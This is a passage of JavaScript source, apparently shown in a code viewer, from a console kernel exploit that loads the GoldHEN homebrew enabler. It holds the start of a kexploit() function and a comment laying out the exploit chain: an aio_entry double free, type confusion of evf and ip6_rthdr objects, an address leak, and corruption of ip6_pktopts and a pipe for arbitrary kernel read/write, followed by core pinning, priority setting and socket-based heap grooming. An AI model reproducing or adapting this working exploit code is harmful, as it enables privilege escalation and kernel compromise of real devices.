()
| 1689 | return [block_id, groom_ids]; |
| 1690 | } |
| 1691 | |
| 1692 | // overview: |
| 1693 | // * double free a aio_entry (resides at a 0x80 malloc zone) |
| 1694 | // * type confuse a evf and a ip6_rthdr |
| 1695 | // * use evf/rthdr to read out the contents of the 0x80 malloc zone |
| 1696 | // * leak a address in the 0x100 malloc zone |
| 1697 | // * write the leaked address to a aio_entry |
| 1698 | // * double free the leaked address |
| 1699 | // * corrupt a ip6_pktopts for restricted r/w |
| 1700 | // * corrupt a pipe for arbitrary r/w |
| 1701 | // |
| 1702 | // the exploit implementation also assumes that we are pinned to one core |
| 1703 | export async function kexploit() { |
| 1704 | const _init_t1 = performance.now(); |
| 1705 | await init(); |
| 1706 | const _init_t2 = performance.now(); |
| 1707 | |
| 1708 | try { |
| 1709 | chain.sys('setuid', 0); |
| 1710 | } catch (e) { |
| 1711 | localStorage.ExploitLoaded = "no"; |
| 1712 | } |
| 1713 | |
| 1714 | if (localStorage.ExploitLoaded === "yes" && sessionStorage.ExploitLoaded != "yes") { |
| 1715 | msgs.innerHTML = "GoldHEN is Already Loaded ..."; |
| 1716 | return new Promise(() => {}); |
| 1717 | } |
| 1718 | |
| 1719 | const current_core = get_current_core(); |
| 1720 | const current_rtprio = get_current_rtprio(); |
| 1721 | log(`current core: ${current_core}`); |
| 1722 | log(`current rtprio: type=${current_rtprio.type} prio=${current_rtprio.prio}`); |
| 1723 | |
| 1724 | const main_mask = new Buffer(sizeof_cpuset_t_); |
| 1725 | get_cpu_affinity(main_mask); |
| 1726 | log(`main_mask: ${main_mask}`); |
| 1727 | |
| 1728 | log(`pinning process to core #${main_core}`); |
| 1729 | pin_to_core(main_core); |
| 1730 | get_cpu_affinity(main_mask); |
| 1731 | log(`main_mask: ${main_mask}`); |
| 1732 | |
| 1733 | log("setting main thread's priority"); |
| 1734 | set_rtprio({ type: RTP_PRIO_REALTIME, prio: 0x100 }); |
| 1735 | |
| 1736 | const [block_fd, unblock_fd] = (() => { |
| 1737 | const unix_pair = new View4(2); |
| 1738 | sysi("socketpair", AF_UNIX, SOCK_STREAM, 0, unix_pair.addr); |
| 1739 | return unix_pair; |
| 1740 | })(); |
| 1741 | |
| 1742 | const sds = []; |
| 1743 | for (let i = 0; i < num_sds; i++) { |
| 1744 | sds.push(new_socket()); |
| 1745 | } |
| 1746 | |
| 1747 | let block_id = null; |
| 1748 | let groom_ids = null; |
no test coverage detected